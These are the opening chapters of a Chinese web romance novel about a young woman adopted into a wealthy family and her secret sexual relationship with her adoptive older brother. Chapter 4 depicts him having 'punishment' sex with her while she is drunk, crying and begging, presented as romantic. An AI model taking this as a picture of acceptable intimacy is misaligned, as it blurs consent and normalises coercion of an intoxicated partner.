《炽野侵占》
第1章 以后禁止这样取悦男人
【15岁的春天,我第一次见陆礼,那时候他22岁;
15岁的冬天,在灵堂上,陆礼把我拉到身后,挡住大人们扑来的恶意;
15岁的圣诞节,我跟着陆礼回了陆家,成了陆家养的女孩、他的妹妹;
19岁的时候,我爱上了陆礼,然后上了他;
然后就是现在——
23岁的时候与陆礼安排的男人相亲。】
“不过是被陆家捡回去养的死丫头,傲什么傲!等什么时候被赶出去陆家TM连个屁都不是!!!”
时憬收回发散的思绪,看着眼前因她一句话就被搞得破防,破口大骂的相亲男,起身优雅地冲他比了个中指。
“已录音,你猜我哥听到后会不会重新考虑与天荣的合作?”
相亲男脸色瞬息万变,就差跪地求饶叫她一声祖宗。
时憬愉悦的笑了声,转身走人。
陆家疼爱她。
陆礼宠爱她。
她便有傲的资本。
时憬脚步轻松地打了辆车,回公寓带上礼物,顺便给陆礼发了个信息。等她下楼,公寓楼前已经停了辆熟悉的黑色迈巴赫。
时憬脚步飞快跑过去,嗓音甜蜜:“陆礼——”
车窗缓缓降下,露出耿叔忠厚的脸,“小姐,少爷还在开会,让我来接您回家。”
时憬小小撇了撇下嘴角。
耿叔笑容和蔼,“车上准备了您爱吃的蛋糕。”
时憬嘟囔了句这还差不多,才上车。
她的公寓距陆家庄园横跨整个沙市,途中又遇上下班高峰期,迈巴赫都只能蜗牛爬,她在车上睡了一小觉,醒来华灯初上,车子正好开到庄园。
陆礼也刚好从车上下来。
时憬脸上瞬间有了笑容,飞奔过去,两条胳膊挎着陆礼的左臂,微微仰面,眉眼弯弯,唇蜜亮闪闪,“好巧,一起进去啊!”
陆礼任由她挽着自己,顺手接过她手上拎着的大小礼盒,却未多给她一个眼神,只淡淡嗯了声。
时憬也习惯了他的冷漠,热闹地说着自己这次出差的悲惨遭遇。
陆礼安静地听着,在进客厅前,语气平静地问:“出差回来后怎么不先回家露个脸。”
“这不是和哥哥安排的天荣二公子相亲么。”
陆礼:?
男人才想起来,曾让她多结交几个朋友,她的圈子太过狭隘,天荣的人就是那时候主动凑上来的。
陆礼看她:“这件事你倒是听话。”
时憬则欣喜道:“今天我们聊得超级投缘!他去国外留学学的也是设计,我们对画集偏好、色彩运用、历史解读都出奇的一致!我们还约好下次要一起去看画展呢~”
眼前的女孩仿佛还沉浸在刚才会面的喜悦中。
陆礼移开视线,眼神冷漠:“你开心就好。”
时憬她踮起脚,忽然凑近他。
四下无人。
两人之间的距离近在呼吸之间。
是逾越尺度的亲昵。
“哥,你吃醋了么。”
她眼中有小小的得意张扬。
陆礼一手握住她的胳膊,拉开两人之间的距离,眉间微皱:“在外面,给我注意点。”
时憬察觉到他隐隐的不悦,恶趣味地想着晚上再逗他。
两人一齐进了客厅。
坐在沙发上的美妇看见时憬时,面上的高冷融化,朝她招手:“小憬,快来!”
时憬一秒松开手,朝着陆母小跑过去,像只孺慕之情的雏鸟,此时终于归巢,撒娇般地投入陆母怀中,“妈妈,都有五天没有见到您了,我可想想想您了~”
陆母也搂着她不松手,怜爱地摸了下她肩头:“乖囡囡,瘦了,是不是出差吃不惯?这两天就住在家里,好好补补,别走了啊。”
母女两人好好地腻歪了会儿,时憬才看向正在同陆礼说话的陆父。
父子二人仿若复制粘贴的。
只不过陆父更多了些岁月沉淀后的威严,但在看向时憬时,多了几分对晚辈的疼爱。
“听你妈的话,多住几天。”
陆母握着她的手附和:“是啊,你那小公寓也太远了,往返都不方便,你又不用阿姨,回头让陆礼在我们隔壁买套平层,住得近也方便照顾你。”
“公寓离我公司近嘛。好啦,妈妈,我保证以后每周都回来至少两天,一个月保准吃得白白胖胖!”她哄长辈最有一套,陆母拿她没办法,只好暂时答应。
一家四口在小餐厅用过晚餐,时憬又分了这次出差带回来的礼物。
都不是太贵重的。
陆父陆母却爱不释手,夸小憬长大懂事了。
时憬又说了些这次出差的趣事,逗得二老笑得合不拢嘴。到九点就赶她去休息,还明令禁止她熬夜。
她的房间就在主楼二楼左侧尽头。
哪怕她不回家,也日日有人打扫,按着季节更换她喜欢的床品。
时憬洗漱后,换上一套天蓝色真丝吊带睡裙,胳膊、肩头、锁骨都裸露着,在深秋季节看着都发冷。
她哆嗦了下,扯了件披肩兜着,打开门,悄悄探出头,确认走廊里没有佣人,赤着脚在地毯上快步走着,穿过长廊,扭开右侧尽头的房门,闪身进去。
屋内一片漆黑。
她还未适应黑影,就被微烫的身躯拥住。
后背抵在门上。
散发着洗发水冷香的短发埋在她的颈侧,灼热的呼吸扑得她的胸口忍不住发颤。披肩下探入一只宽大厚实的手,一掌拢住她的冰凉的肩头,低沉的嗓音响起,“怎么穿这么少来。”
时憬抬起胳膊,松松拢着陆礼的脖子。
她慵懒地掀起视线,自下而上望着他,像只故意做坏事的猫崽,带着纯洁的邪恶,足尖勾着他的小腿,一寸寸上移,盘在他的腰间,“你不喜欢么?毕竟我如果和天荣地在一起了,我们就无法再私会了呢。”
她舒展肩胛,披肩滑落。
露出天鹅般颈项,精致锁骨。
在月光下泛着莹白的柔光。
精致而美丽。
陆礼目光暗了瞬,脱下身上浴袍将眼前过分裸露的女孩密密实实地裹住,微弯腰一把抱起她,扔在床上。
时憬眨眼:????
不是,她精心准备的战袍,就这么被裹了?
“陆礼,你干嘛——”
时憬挣扎着从睡袍里出来,两条细白的胳膊挥舞着,丝毫没了刚才的艳色慵懒之态,“你不夸一句也就算了,连看都不看一眼么???你不要太扫兴啊!!”
眼前的男人压下,轻松擒住她的手腕,压在上方。
赤裸的身躯罩着她。
身上的温暖将她包裹。
素来带着冷漠的眼神在月光的模糊下,多了许多深沉的情绪,他扫过女孩的面颊,落在浅粉的唇上,低声说:“一个小时前我刚收到对方十分礼貌的道歉。”
时憬:我草他小学鸡啊!!还玩告状这套!
“还有,以后禁止这样来取悦男人,记住了么。”
他的语气带了点严肃。
与现在暧昧姿势不符合。
时憬视线往下撇了眼,在心里翻了个白眼。
他们都脱成这样了,他也有了反应,结果还不忘对她进行说教,仿佛是在一遍遍提醒她,他们是因为她的病、因为她的贪念,他们才会变成这样,即便变成这样,在陆礼心中,比起男人的欲望,是因为他是兄长,是她的守护者,才会答应这离谱荒唐的关系。
明明——
她只是陆礼揽下的累赘。
明明他们之间毫无关系。
明明……
时憬眯了下眼睛,起了些许烦躁的情绪,抬起头粗鲁、挑衅似的吻上陆礼柔软的双唇。
之后的一切,略有些失控。
时憬发疯似的缠着他,陆礼安抚她的几次未果,也被勾起火气,不再温柔待她,没了往日床上的从容温情,将人压着狠狠教训了一番,将她背过身去,捂住她乱说话的嘴。
最后时憬累得昏睡过去,连自己怎么回的房间都记不得了。
次日闹钟响起,她下床时,身子狠狠僵了下。
时憬喜欢穿各种小裙子,陆礼没在脖颈留下痕迹,但小裙子遮住的布料下,暧昧红痕泛滥,时憬一边骂陆礼是狗,一边忍着不适抓紧时间洗漱下楼。
陆家有一起用早饭的习惯。
她起得有些晚了。
等她到小餐厅,陆父已经坐在看着平板上的财报,陆母正在优雅地切太阳蛋。
坐在她对面的陆礼,穿着浅灰色绒面质的衬衫,领口两颗扣子松开,袖子也挽起,两手骨节修长,青筋鼓起得恰到好处。
他抬起脸,薄唇微勾,露出一个浅笑,“早。”
居然还戴了副金丝眼镜。
人模人样、禁欲英俊。
第2章 夜店被抓
时憬的心脏不争气地跳快了两下,拉开椅子坐下,故意回道:“哥,早。爸爸,妈妈早上好。”
陆父轻轻颔首,腾了眼神给她。
陆母则哎了声,“声音听着怎么有些哑?”
时憬喝粥的手顿了下,连忙解释道:“可能是昨晚冷到了。”
陆母命佣人准备驱寒的茶包,让她带去公司喝。
陆礼看她:“这么大了睡觉还踢被子?”
时憬皮笑肉不笑,“好像是半夜睡得太热了,就把被子扯了。”她会喉咙哑你心里没点数么!时憬看不惯他这副兄长做派,故意指挥他:“哥,我想吃鸡蛋。”
陆礼对她向来有求必应。
放下筷子,擦了手,两手手指灵活地开始剥鸡蛋蛋壳。
时憬本意只是想指挥下他,但看着他手指的动作,莫名想起昨晚,脸不受控制地涨红,怕被人察觉,埋头不停喝粥。
偏这个时候陆礼伸手,胳膊越过桌子,把鸡蛋放在她眼前的空碟子里,一副兄长的口吻叮嘱:“多补充蛋白质有助于增强体质。”
时憬含糊地说了句谢。
对面的陆礼有些意外的挑眉。
陆母笑着摸了下时憬的头,“今儿是怎么了,和你哥这么客气?”
时憬心思不纯,面对陆母的关心反而心虚,囫囵支吾了声,快速吃完早餐,“爸妈,我出门上班去了!”
陆父从平板前抬头:“多吃点,时间还早。”
陆母应和:“是啊,你这才吃多少,等会儿让老耿送你公司。”
时憬满脑子黄色废料,羞耻于面对三人,“不了,今天早上有早会——”
她起身就往外撤。
“哒。”
身后响起另一把椅子拉开的动静。
陆礼放下餐巾,叫住今天早上起就不太正常的女孩,“我也吃好了,正好送时憬去公司。”
佣人刚准备好时憬的便当袋。
陆礼极为自然地从佣人手中接过。
男人腿长,几步就追上了时憬,手掌压着她的后脑勺,带着她往自己车那边走,在小餐厅里的二老还能听见孩子们拌嘴的声音,无奈相视一笑。
“唉唉唉唉——哥你松开——我能自己走——”
“拿好上车。”
“……喔。”
时憬抱着便当袋,规规矩矩地坐在副驾驶。
陆礼在四年前从陆父手中正式接管陆氏集团,陆父退居二线,陆礼每天都被各种会议、飞行排满,这人估计是天生的工作狂,精力无比旺盛,他甚至还享受解决工作、做领导决策者,四年下来陆氏集团在他手中再度扩值。
即便日程繁忙,陆礼依旧自己开车上下班。只要时憬住在庄园,陆礼再忙也会送她。
时憬在陆氏集团下一个小公司工作,朝九晚五,偶尔出差,薪资丰盛。
陆家对她最满意的安排是不必太辛苦学习、上进,只要在陆家荫蔽下,自由舒适地生活就好。甚至连搬出庄园,到下属公司上班,都是时憬自己要求的。
“在想什么。”
安静的车厢里,响起陆礼清冷的声音。
时憬侧头,想了些过去的事情,总算清空了脑子里的黄色废料,“放空。”
“身体还不舒服?”
时憬的眼睫颤了下,她哀怨地扭过头,“一大清早的,你就不能说些少儿合宜的话题么?”
面对她的怒气,陆礼语气微妙地反问:“你不是说昨晚冷到了?”
身体不舒服?
所以是他真的在问自己有没有感冒?
而不是她想的那样。
啊啊……她今天这是怎么了!
时憬抿着唇,蹭地一下偏头,露出一侧涨红的耳垂给陆礼看。
冷漠疏离的男人忍不住轻笑一声。
鸵鸟恼羞成怒,霸道:“不许笑!”
“好。”
“……你、你还笑!”
“所以今早在餐桌上,也是因为——”
“啊啊啊啊不准说!!!”
“…好。”
时憬下车的时候,连一个笑脸都没给陆礼看。
陆礼目送她疾步进门,眼底闪过一抹浅笑。
这是从死神手中抢回来的女孩,哪怕他们之间有着不可见人的关系,也是为了让她利用自己活下去,他比谁都希望看到她这样恣意、张扬、鲜活地活着。
*
时憬的工作实际很清闲。
在公司里更多充当着一个吉祥物的角色,毕竟她可是陆少的妹妹,陆家养着的女孩,连老板都不敢指挥她当牛做马。
这也导致她发了一天的呆。
满脑子都是陆礼今日斯文败类的打扮。
快下班的时候,童宛约她去酒吧找乐子,说她有个看中的小猎物进了夜心,要去给他镇场子,免得被其他富婆钓走了。
时憬犹豫,她想回家见今天格外帅的斯文败类。
童宛:“夜心里出了名的帅哥巨多!”
随后啪啪啪啪甩了七八张照片出来。
幼瘦感、肌肉男、温柔帅、雌雄莫辨…
五花八门,目不暇接。
时憬舔了下嘴唇,敲字回:“去!”
陆礼常见,而夜店小帅哥不常能见。
今晚她依旧要住庄园,怕陆礼知道她去夜店,时憬给陆礼发了个消息,说同事失恋了,她陪同事唱K疗伤,晚点回家。
童宛开着轿跑接她直奔夜心。
夜心是沙市高档酒吧之一,会员制,里面的男色出挑,所以成了富婆们最爱去的酒吧。
时憬还是头一次来,童宛熟门熟路地带着进卡座,叫了一桌酒,又听她点了两个名字。
在酒水上来前,童宛和她咬耳朵:“看见没,就那走在最面前的小哥哥。”
时憬顺着看去。
一米八高的男生,黑发微卷,圆眼睛眼尾下垂,穿着剪裁和贴地服务生黑白装,看着像是个青涩年轻的大学生。
时憬一脸表情微妙,“你来真的啊?这才刚成年吧?”
童宛拨了下波浪卷发,翘起二郎腿,红唇微勾,一副势在必得的猎人姿态:“这种初出茅庐的小男生就得先下手为强,调教起来才有意思。”
两个小男生看着嫩,但嘴甜。
一口一个姐叫的时憬多喝了两杯。
童宛一向开放,拉着喝多的时憬,拽着俩小男生下舞池跳舞去了。
劲歌辣舞,身体摩擦着身体。
欲望悄然上脑。
时憬一开始还有些不自然,后被气氛感染,也同舞伴跳起来,双手无意触碰到胸肌,居然手感不错,一时没忍住多摸了两把,小男生还有些羞涩的垂眸,却也没躲开。
这幅模样……
时憬忍不住贴近,手掌若有若无地贴在他的腰腹,男生个子高,为了迁就她,低下头,昏暗暧昧的光线下,视线湿漉漉亮闪闪的。
时憬昂首,在嘈杂的环境中问他:“你叫什么。”
“白行。”
男孩的声音带点青涩的沙哑。
望着时憬柔软、微醺的目光,眼神有些藏不住。
在旁人看来,他们这个姿势就像是在接吻。
白行的喉结错动,头更低下一点,快要碰上那双唇蜜莹润的唇时,怀中的人忽然被一把扯了出去。
第3章 生气的兄长
陆礼有个发小被家族发配国外苦读四年,昨天刚落地沙市,迫不及待组局醉生梦死。陆礼忙完工作过来打算露个脸就走。
他不喜欢这种嘈杂、乌烟瘴气的环境。
进夜心后就寒着脸。
在上楼时,余光扫了眼舞池,看见一抹熟悉的粉色,他迟疑了一瞬。
可能只是裙子和她相似。
舞池镭射灯斑斓,人脸模糊,热舞音乐劲爆。
那粉色裙子的踮起脚,与男人像是在接吻,灯光扫过她的脸——
陆礼转身下楼朝舞池快步走去。
时憬被拽得一个踉跄,手腕刺痛,恼怒地瞪回去:“你做——”眼睛怒气在看见眼前的人时,噗嗤一声熄灭,转而变成了惊吓:“陆——”
陆礼的脸黑得吓人。
胳膊粗鲁地揽住她的肩膀,带着她往外走,时憬踩着小细高跟,走的跌跌跌跌撞撞,“等、等等,我和童宛说一……”
压抑着怒火的男人不予理会。
“你是谁?时小姐根本不愿意跟你走!”白行腿长,两三步追上来,绕到陆礼面前阻拦。
陆礼用打量货物一样扫过眼前的男生,想起在舞池看见的一幕,目光冷得能杀人,薄唇轻掀,“让开。”
“是熟人也不能这么粗鲁对——”
“你个蠢货!”夜心老板拨开人群挤进来,急得满额头的冷汗,甩了白行一巴掌,“陆少,不好意思,他是新人,您大人大量别动怒,您请您请——”
时憬被他箍在怀里,感受到陆少的压抑的怒火,险些笑场,居然有人敢拦陆礼,果然是少年勇猛啊。
时憬晕乎乎的自娱自乐。
直到陆礼打开车门,将她扔进副驾驶,又用力甩上门,跨步绕到主驾上车。
车门砰——的一声撞上。
时憬肩膀颤了下。
今晚玩脱了,陆礼是真的生气了。
回家的一路上,陆礼一句话也没说,唇线紧绷,车速比平时快了不少,车内沉默得叫人喘不过气。
时憬多贪了几杯。
紧张了会儿酒劲上来,紧绷的弦松开,头抵着车窗昏昏欲睡,迷迷糊糊间,车子一个急刹,才把她惊醒。
车子已停到到庄园门口。
时憬开门,拉了几下没开。
醉懵懵的回头看人,“哥?”
时憬一心虚就会叫他哥,这个习惯这么多年都没变过。
陆礼的手从方向盘上松开,冰冷的视线透过镜片看她,字眼硬邦邦的砸下来:“说话。”
时憬抠手指:“说、说什么啊……”
陆礼讽刺的开口:“失恋安慰需要安慰到夜心?还有你同事呢?别告诉我贴着的那男人就是你同事。”
时憬干笑两声,“……哥你真幽默。”她迅速掩唇打了个哈欠,嗓音软软地央求着:“我有点困了,明天再说可以么,想回去睡觉了。”
陆礼压了一路的怒火被她这态度彻底勾起。
男人阴沉着脸,“你知道夜心是什么地方?居然还和我说去KTV。时憬,这些年你的本事见长,连我都敢骗了。”
陆礼没凶她,只是冷静、压着火气地训她。
时憬知道他这是真的生气了,不敢再插科打诨,乖乖低下头认错。
陆礼冷冷开口:“认错,然后坚决不改是吗。”
时憬连摇两下头,可怜兮兮地看他:“改,我改,以后再也不去了。”
她生的一双无辜的眼睛。
哪怕犯了错,动什么坏主意,直勾勾望着人时,都如此纯洁,让人心软的不舍得再怀疑她。
这是她惯用的招数。
陆礼实在太过熟悉,也知道她根本没有在反省,也没真的认为自己今晚做错了。
男人的眉头拧得能夹死蚊子,语气犀利的训她:“我有没有让你不要再和童宛来往?上学时跟着旷课、逃学、偷出去玩,现在长大了,敢去夜店、酒吧,之后还会做什么什么?”
陆礼从未没用这么重的语气骂过她。更没有像现在否定过她的交际,她的朋友。
时憬也生气了,她不再低着头装乖,挺直背反驳:“旷课、逃学、去夜店、酒吧,这些是童宛带的又怎么,那也是我好奇,我愿意去的。爸妈都不管我,你凭什么对我管头管脚。还有,我今年二十三岁,是成年人了,别说是去夜店跳个舞,就是出去开房也——”
她越说越火上浇油,专挑那些能惹怒陆礼的话说。
陆礼狠皱眉头,厉声呵斥打断她:“凭你叫我哥,我就有义务管你。”
“那在和我上床的时候怎么没想起我是你妹妹?”时憬下颚微扬,口吻嘲弄。
陆礼浑身戾气,眼瞳漆黑:“时憬。”
时憬却笑了,笑得轻薄。
“我没学坏,而是骨子里就是坏的,不然也不会在十九岁就缠着做爱——唔……”
唇被一只手掌用力捂住。
时憬抬眸。
看着眼前斯文禁欲的男人,即便他气得恨不得揍她一顿,却仍压抑着自己的怒火,“时憬,你喝多了。”
仍不舍得动她一下。
是个十分合格、过分尽职的哥哥。
他越是这样冷静,时憬骨子越是长满叛逆的鳞片,她想要看他失控,看他为自己抛弃道德廉耻,想要证明他超脱兄长之外的偏爱。
时憬不费力就拨开了他的手。
解开了安全带,手脚并用爬到他身上,坐在他腿上,双手抵着他因愤怒而起伏的胸膛,垂下眼皮看他,暧昧低语:“陆礼哥,你这么生气,不止是因为我骗你,而是你吃醋了是不是,看着我和其他男人在一起。”
“下去。”
她垂下头,唇几乎能碰上他的。
掺杂了酒精的呼吸游走。
“你喜欢我,对不对。”
车就停在庄园门口,车内没开灯,但还是可能有佣人路过,然后发现他们这样暧昧的姿势。
清醒时的时憬不敢这么大胆。
她喝醉了。
所以故意来惹怒他。
他何必与一个小酒鬼计较。
陆礼藏起眼中的怒火,抬手摸了下她的额头,“嗯。”
果然,眼前的小酒鬼心满意足地笑了。
在他唇上亲了下,在他耳边说了句荤话。
陆礼抱她下车,上楼,进房间。
前脚刚把小酒鬼扔在床上,转身离开,她一骨碌就从床上爬起来,从后面揽住他的腰留住人,柔软微凉的手在腹部乱走,“他的胸肌、腹肌果然没有你的扎实,”她胡言乱语,手往上,手指解开了两颗扣子,从衬衫往里伸,“今天早上看到你的时候就想这么做了,陆礼…”身后毛茸茸的脑袋蹭着他的后背,像小猫似地撒娇,“我想做……”
说着离经叛道的话。
却用这么纯洁无辜的语气。
看来她真的完完全全、没有一星半点知错的意思。
哪怕陆礼告诉自己,她喝醉了,也压抑不住胸口的邪火。
他拉开时憬的手,转过身去。
手掌压在她的腰窝,轻轻摩挲。
“今晚玩得挺高兴?”
他低下头,语气温柔地问她。
她昂头,兴致勃勃点头:“帅哥好多。”
这个姿势,和她在舞池里那男人的动作一模一样,只要对方不怀好意,只要一低头,就能吻住她的唇,她却那样毫无防备。
或许晚一步到,就会被他得逞。
陆礼眼神幽暗的浓稠,低声耐心询问:“既然这么高兴,之后还去么。”
她眉眼弯弯,唇蜜莹润。
“去。”
陆礼想要叹息,收回手,语气平静:“看来你是连一点反省的意思都没有。”
第4章 是我重了
酒精令时憬的反应变得迟钝。
当她察觉陆礼变脸,明明看着不是生气的模样,却让人觉有些陌生,有些害怕。她下意识地往后躲,他迈着步子靠近。
薄镜片后的眼神深邃漆黑。
下颚线绷紧锋利。
微敞开的衬衣不显得凌乱,反而多了禁欲的克制。
他步步靠近,最终停在床边。
抬手,解开皮带,抽出,扔在一边。
面无表情。
时憬心里有些发毛,掉头就往床另一边爬过去,还没爬多远,脚踝被一只手扣住,拽了回去,不让她逃。
陆礼在这事上一向不算多温柔、
今夜被彻底惹恼,带着惩罚的意思,扣着腰,哪怕她流泪求饶,眼泪也不曾令男人动摇,他居高临下地看着她落泪,央求着说自己错了,身体上的极限让她陷入失控的无助,她紧紧抓着他的胳膊,因撑着,肌肉硬邦邦的,被指甲扣出一道道血印子。
她从未像现在这样认错。
说自己是故意激怒他的…
说下次再也不敢瞒着他去酒吧了…
说那些男人都没你帅…
后面的话越说越混账,一会儿叫着陆礼,一会儿叫哥,到最后,就只剩下喘息的哭声,哭到男人终于不再欺负她,将人拥入怀中,躺在凌乱不堪的床上,手掌揉上她蹭得乱糟糟的头。
“陆礼……”
她哭的肩膀也一抽一抽的,眼睫被眼泪染成一撮一撮。
“嗯。”
“你…混蛋…”
“再说一遍?”
抽动的肩膀一下子僵住,湿漉漉的眼神不敢置信的望着他,可怜兮兮的惹人怜爱。
陆礼闭上眼,将她的头按在胸口,不去看这双纯洁的眼睛,低声把话说给她听:“你年纪还小,想要尝试新鲜的事物,我不会阻拦你,不论发生什么事情,都有陆家、我能撑着你。你还这么年轻,应该享受世界所有的美好。但你不能连我也一起瞒着,知道吗?”
他鲜少会对女孩长长地说教,但她越长越大,性格也愈发鲜活,他总希望能替她更周全些,看着她平平安安、稳稳当当地走在他目之所及的道路,不再被世间的任何恶意伤害。
时憬哭得脑袋发胀。
好不容易止住的眼泪,又因为这段话渗出来。
她用力、紧紧地拥住陆礼汗津津的身体,像是濒死之人抓住浮木,她整个人才有了一个着力点,有了继续任性的资本。
她想要陆礼一直、一直陪着她。
爱着她。
是男女之情也好,是身体的欲望也好,是变了质的兄妹之情也好,她反复恶作剧,做那些出格的行为,说那些刺耳的话,借此一遍遍地反复确认自己在他的心里,占着一个不能被驱逐的位置。
她只有陆礼,是陆礼将她拉出泥潭。
她不能失去他。
不能。
绝对不能。
她闭上眼,清晰地看见了黑暗中扭曲丑陋的自己。
直到时憬熟睡后,陆礼动作轻柔地起身,没开灯,就着昏暗的光,拧了块毛巾替她清理了下,见人没被弄醒才离开。
次早,时憬起床时就察觉了不对劲。
翻出耳温枪一测,37.8,低烧。
估计是昨晚喝酒又闹得太狠。
时憬请了假,又给陆礼发消息,结果这人一天都没回消息!!
气的时憬直接把人拉黑。
屋子里气味并不好闻,时憬怕被陆母发现,开了窗通风,又撑着发晕的身体换了套床单,借口发烧出汗弄湿了,让佣人拿去清洗。
陆母心疼坏了,一日上来看了好几回。
她吃了药,大半日都昏昏沉沉地在睡,等到彻底清醒,已经是傍晚,房间里没开灯,浑身都是黏腻的汗,烧退了,人也跟着轻松不少。
正打算去洗澡时,手机嗡嗡震动。
她捞起接听。
“是我,去医院看过了么?”
“有屏显,没去。”
电话另一头的陆礼蹙着的眉松开,听着她懒洋洋的语调,看来应该退烧了。
“想吃什么,我带回来。”
“不劳陆少大驾。”
“时憬。”
“哼。”
“抱歉。”男人压低声音,似乎有些不习惯,“是我重了,别生气了。”
刻意压低的声音,透过信号传来。
勾得耳朵麻麻酥酥。
时憬心里的气散了大半,汲着拖鞋走到卫生间,打开花洒,脱衣服,脸上的眼神明明已经柔和,嘴上却还在闹别扭:“哪敢让陆少道歉呢,没别的事挂了,我也挺忙的。”
“等你洗完澡再发个信息。”
时憬哼了声,没回,直接挂了。
嘴角却忍不住勾了下。
等她裹着浴巾出来,看见手机银行的转账消息,陆礼对她一向大方,砸的时憬最后一丝气也消了。
有谁能不爱钱呢。
其实在把人拉黑后,时憬就从陆母口中知道陆礼去宣城出差去了,要两三天后才回来,可她拉不下面子,再把人加回去。
借着转账,时憬才重新加上好友。
又回了童宛的消息。
昨晚陆礼把她从夜心拽走后,一天一夜没消息,把童宛吓得半死。时憬笑嘻嘻说没事,还把白行和陆礼的冲突和她分享了,笑得乐不可支:“你是没看见,我哥的脸都变了!不认识他也就算了,居然还质疑他身份哈哈哈哈!”
童宛直呼可惜,错过陆少这场大戏。
时憬被她发来的表情包逗乐。
正打算去骚扰下陆礼时,门被敲了下。她以为是陆母上来,叫了声妈妈。
门打开,本该身处宣城的陆礼风尘仆仆地走进,手里还提着一个附近超市的塑料袋。
时憬怔了下,眼神有些发傻,“你不是在宣城出差?”
陆礼反手关上门,语气寻常地回她:“回来一趟——”话还没说完,一道冲撞的蛮力撞入他怀中,一股花乳香气蔓延,他抬起手,任由她在自己胸口蹭。
“外面冷,松开。”
“我不。”
“乖,听话。”
“你抱我。”
怀中的声音已有些瓮声瓮气。
陆礼看着她裸着的脚,皱了下眉,把人抱回床上,塞回被子里,又拿起耳温枪测了下,确认真退烧了,心才彻底落回实处。
“买了黄桃罐头,吃得下么?”
时憬本来不生气了,被他忽然赶回来弄的情绪绷不住了,或许是生病才好,她觉得自己矫情极了,拼命忍着。
看着他拧开黄桃罐头,还准备了勺子,瞬间哭笑出来,“你把我当小孩哄啊?”
陆礼一边喂她,一边擦她眼泪,“可不就是小孩,不回信息就把我拉黑。”
时憬理亏,张口咬住勺子,含糊不清说:“就微信……电话不是没拉黑嘛……”
陆礼动了下勺子,抽回来后面无表情继续喂她:“那还要谢时小姐手下留情?”
时憬破涕为笑。
她嚼着甜津津的黄桃,想着这么好的陆礼,哪个女孩能不心动?也是这么好的陆礼,只是她一个人的,今后还会一直一直宠爱着她。
吃了两块黄桃她就摇头吃不下了。
陆礼放下罐头,抽了张湿巾擦手,才问她:“身上还疼?”从他进来后,她的坐姿就有些别扭。
话题跳转得太快,时憬脸红,瞪他。
“等会儿给你涂点药。”
时憬看他脱了风衣,走到门口上锁,连忙道:“我自己来,你把药给我就好。”她又补了句:“你身上脏,我自己来!”
陆礼没再强求,把药留下。
时憬飞速收好药。
陆礼挑眉看她。
时憬:“晚上、睡觉前用!我知道的,你快走吧,我要睡了。”
陆礼看她绯红的脸,眼睛也染得湿漉漉——随手照顾她仿佛成了习惯性,甚至连这些事情在他眼中都褪去了情欲的色彩,变得如此理所应当。
十九岁的时憬很瘦弱。
二十五岁的陆礼却已生得十分高大。
两人并不太匹配,第一次时憬忍的嘴唇咬出了血,怕陆礼后悔,怕他退缩,愣是没吭一声,没掉一滴眼泪,陆礼未注意到,之后他才发现。后来他就知道了,总是做足准备,这几年都没怎么用过药。
陆礼揉了下她的头,说了声晚安。
快走到门口,门外传来敲门声,“小憬?”三声敲门声后,便是开门声。
第5章 他想她了,是这种想
陆母是尊重孩子隐私的母亲,极少会在晚上来敲他们的门,更不会直接开门,所以时憬才敢在晚上那么大胆溜去陆礼房间。
今晚可能是因她生着病,陆母实在担心才会晚上上来。
时憬被吓得心悬起,把手里的药藏进抽屉里。
“咔哒——咔哒——”
门被锁上了,没打开。
陆礼一边朝门走去,一边看了眼时憬,她的脸色隐隐发白,看着叫人可怜。陆礼给了她一个安抚的眼神,抬手示意她躺下去睡觉,才打开门锁。
陆母站在门外,看着本该在宣城的儿子出现在时憬房间里,意外问道:“不是要两三天后才回来?怎么今天就回来了?”
“事情处理得比计划顺利,提前回来了。”
陆母自然相信儿子的话,点了下头,视线往里看了眼,看床上只有一个鼓起的被子,下意识压低声问:“小憬呢,退烧了没,睡着了?”
“退烧了,刚睡着。”
陆母闻言安了心,示意陆礼关上门,母子二人在走廊里说话。陆母委婉提醒眼前早已成年、并已经是陆氏集团领头人的儿子,“小憬也大了,你们虽然是兄妹,但到底没有血缘关系,为着你妹妹着想,之后不好再锁门说悄悄话了。”
陆礼颔首,“以后会注意的。”
他虚扶着陆母的肩膀,二人一起离开。
陆母好奇:“你们兄妹俩在房间里说什么呢?”
陆礼低头,小声道:“昨晚时憬偷偷去酒吧喝酒,被我训了几句,怕被人听见伤她自尊。”
陆母打了下他肩膀,“小憬去酒吧喝多了是不对,你也是的,非要在她难受的时候说她。”语气带了点责怪之意,“难怪刚才小憬躺着不出声呢,肯定被你说哭了是不是?”
陆礼只笑了下,没有否认。
时憬躺在被子里,咬着唇,眼神怔怔地盯着还剩下大半的黄桃罐头。
走廊里的地毯能吸收脚步声,却盖不住门外的说话声,她听着妈妈和陆礼说话的声音,心口干涩,嗅得到淡淡的血腥味。
陆母回房,似有所思的坐在梳妆台前。
陆父放下手里书,问道:“小憬还没好?明天带去医院看看吧。”
“退烧了,睡着呢。”
“那就好。”
陆母轻念着,“俩孩子感情好是好事,或许是我多心了…”陆母有些说不清的感觉,就把刚才的事情说了。
陆父看她回来就蹙着眉,还以为是有什么大事,这会儿听明白后,笑了声,“儿子从小就责任心强,小憬还是他带回来,估计觉得教养妹妹是他的责任,你就是多心。他前几年刚接手陆氏忙,等空下来些谈个女朋友,你也就不会胡思乱想了。”
陆母轻蹙眉,嗔怪:“也不是没给介绍过。你也上点心想想,还有哪家的孩子?”
陆父想了下,“现成还真有一个。宣城的楼家,你知道吧?咱们在宣城和楼家投资了个新项目,做新型材料,我们出技术,他们出地和人。楼家要派人过来学习运转体系,是他们家小女儿,刚从国外回来没多久,管理经验还不足,叫、嘶——叫什么来着?”陆父拿起放一边的平板,调出邮件里的信息页,递给陆母看。
陆母扫了眼,便已夸起来。
“这孩子长得漂亮,学历也不错,楼家虽然是后起来的,但风评还不错!就这么安排,快让两个孩子见个面!”
陆父含笑看她,“这下能安心睡觉了?”
陆母指挥:“关灯,睡觉!”
*
时憬这次在家里住得久。
下班陪着陆母插花、煮茶、下棋、弹琴,周末或是出门逛街做SPA,或是在家里挑当季新品。她嘴甜又招人喜欢,哄得陆母日日喜笑颜开。
陆礼这半个月都在国外出差,等到周日晚上到家,陆母才想起把儿子相亲的事给忘了,看着陆礼疲惫的脸,到底是心疼儿子,便没在饭桌上提起。
用过晚餐,陆礼上楼倒时差。
时憬心不在焉地陪着陆母看了半部电影后,就佯装困了回房休息。陆母看得正入迷,也没管她。
她攥着手机,在楼梯口犹豫了片刻。
这半个月他在国外出差,估计是忙得不可开交,消息都没几条,在餐桌上他疲惫得让时憬不舍得去吵他。
她想他了。
很想,很想。
哪怕不做什么,只想要抱抱他。
